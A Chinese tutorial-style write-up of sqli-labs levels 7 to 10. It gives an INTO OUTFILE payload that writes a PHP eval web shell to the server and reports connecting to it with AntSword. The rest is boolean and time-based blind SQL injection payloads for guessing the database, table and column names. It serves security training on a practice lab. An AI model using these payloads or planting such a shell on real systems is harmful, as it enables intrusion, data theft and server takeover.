SQL注入详解 7-10关

Less-7(outfile 导入文件)

第七关总结:
第七关的标题为dump into outfile,这表明我们需要利用文件导入来进行注入,这里首先需要判断注入类型,然后导入的路径我们可以根据前几关来确定,在真实环境我们可以利用报错来得到一些路径,也可以判断服务器的类型,根据网站的默认路径等来获得绝对路径

  1. 判断注入类型
1'
1')) and 1=1--+
1')) and 1=2--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 导入一句话木马
-1')) union select 1,"<?php @eval($_POST[shell]); ?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqllabs\\Less-7\\shell.php"--+

在这里插入图片描述
在这里插入图片描述

  1. 蚁剑连接成功
    在这里插入图片描述

Less-8(布尔盲注+时间盲注)

第八关总结:
通过测试,第八关这里考察的是sql盲注,但是这里限制了报错注入,我们只能通过布尔盲注和时间盲注来确定,具体操作与第五关一样

猜解思路:
1. 猜解当前数据库名长度
2. 猜解数据库名(二分法猜解)
3. 猜解当前数据库中表的个数
4. 猜解每个表名的长度
5. 猜解表名(二分法猜解)
6. 猜解某个表中列的个数
7. 猜解每个列名的长度
8. 猜解列名(二分法猜解)
9. 猜解某个列中数据的个数
10. 采集每个数据的长度
11. 猜解收据(二分法猜解)

Less-9(时间盲注)

第九关总结:
第九关也是属于盲注类型,这个盲注由于不能明确的判断出字段数(因为这里的回显不改变,都是You are in… 从而无法判断),我们在这里可以进行时间盲注

开挂(查看源码):
在这里插入图片描述

  1. 判断注入类型
    等待5s才得到返回页面,说明注入类型是单引号字符型
    在这里插入图片描述

  2. 判断当前数据库名长度

1' and if((length(database())=8),sleep(5),1)--+

在这里插入图片描述

  1. 猜解数据库名(二分法猜解,这里只猜解了一个字母,其他的类似)
1' and if((ascii(substr((select database()),1,1))=115),sleep(5),1)--+

在这里插入图片描述

  1. 猜解当前数据库表的数量
1' and if(((select count(table_name) from information_schema.tables where table_schema='security')=4),sleep(5),1)--+

在这里插入图片描述

  1. 猜解表名的长度(这里只猜解了第一个表明的长度)
1' and if(((length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)))=6),sleep(5),1)--+

在这里插入图片描述

  1. 猜解表名(这里只对表名的第一个字母进行了猜解)
1' and if(((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101),sleep(5),1)--+

在这里插入图片描述
7. 猜解列名与数据的方法与猜解表明的方法相同,这里不做过多讲述

Less-10(时间盲注)

第十关总结:
第十关能判断出注入类型,但是不能够判断字段数,回显始终保持不变,所以这里我们只能进行和第九关一毛一样的时间盲注,只是将其符号变为双引号

  1. 判断注入类型
1" and sleep(4)--+

在这里插入图片描述

  1. 无法判断字段数
1" and order by 100000--+

在这里插入图片描述

  1. 剩余步骤注入可以查看第九关
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值